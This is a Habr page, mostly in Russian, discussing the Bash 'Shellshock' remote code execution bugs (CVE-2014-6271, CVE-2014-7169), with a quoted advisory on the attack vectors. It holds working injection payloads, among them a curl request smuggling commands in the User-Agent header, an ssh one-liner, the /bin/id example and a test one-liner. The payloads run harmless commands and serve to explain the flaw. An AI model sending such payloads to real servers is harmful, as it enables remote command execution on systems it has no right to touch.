Хабр Курсы для всех
РЕКЛАМА
Практикум, Хекслет, SkyPro, авторские курсы — собрали всех и попросили скидки. Осталось выбрать!
system() executes a command specified in command by calling /bin/sh -c command
lrwxrwxrwx 1 root root 4 Sep 4 16:52 /bin/sh -> bash
атакакующий может сконструировать HTTP-пакет, который будет содержать вредоносный кодЭто вообще что с bash, что с другим каким шелом, в принципе не должно случаться (абстрагируясь, от сабжа).
$ ssh git@git._____.xx '() { :; }; uptime'
17:06:12 up 19 days, 23:52, 0 users, load average: 1.04, 0.73, 0.65
$ curl -H 'User-Agent: () { :;}; echo; ping ya.ru' xx.xx.xx.xxx/xxx.cgi
ping: icmp open socket: Operation not permitted
bash: no job control in this shell
Content-type: text/html
ssh git@git___.xx uptime
command="some cmd" ssh-rsa .....
в authorized_keys), т. к. при таком раскладе ssh авторизует пользователя (через PAM или как-нибудь ещё, зависит от настроек sshd), форкается, делает setuid+setgid (т. е. дальнейшее выполняется от имени ограниченного пользователя (например gitotile'овского), далее запускает bash -c "some cmd"
, сохранив оригинальную команду (из вызова ssh user@host «orig cmd») в переменную окружения SSH_ORIGINAL_COMMAND
, через что и реализуется уязвимость.Bash supports exporting not just shell variables, but also shell functions to other bash instances, via the process environment to (indirect) child processes. Current bash versions use an environment variable named by the function name, and a function definition starting with “() {” in the variable value to propagate function definitions through the environment. The vulnerability occurs because bash does not stop after processing the function definition; it continues to parse and execute shell commands following the function definition. For example, an environment variable setting of
VAR=() { ignored; }; /bin/id
will execute /bin/id when the environment is imported into the bash process. (The process is in a slightly undefined state at this point. The PATH variable may not have been set up yet, and bash could crash after executing /bin/id, but the damage has already happened at this point.)
The fact that an environment variable with an arbitrary name can be used as a carrier for a malicious function definition containing trailing commands makes this vulnerability particularly severe; it enables network-based exploitation.
So far, HTTP requests to CGI scripts have been identified as the major attack vector.
…
The other vector is OpenSSH, either through AcceptEnv variables, TERM or SSH_ORIGINAL_COMMAND.
#!/usr/bin/perl
print "Content-type: text/html\n\n";
system("/bin/bash -c somecommand");
print <<HTML;
<html>
<head>
<title>A Simple Perl CGI</title>
</head>
<body>
<h1>A Simple Perl CGI</h1>
<p>Hello World</p>
</body>
HTML
exit;
system("любая команда")
и при этом /bin/sh — это симлинк на /bin/bash, то уязвимость"() { :;}; /bin/ping -c 1 XXX.XXX.XXX.XXX"
. $ rm -f echo ; env X='() { (a)=>\' sh -c "echo date"; cat echo
date
cat: echo: No such file or directory
CVE-2014-6271, CVE-2014-7169: удалённое выполнение кода в Bash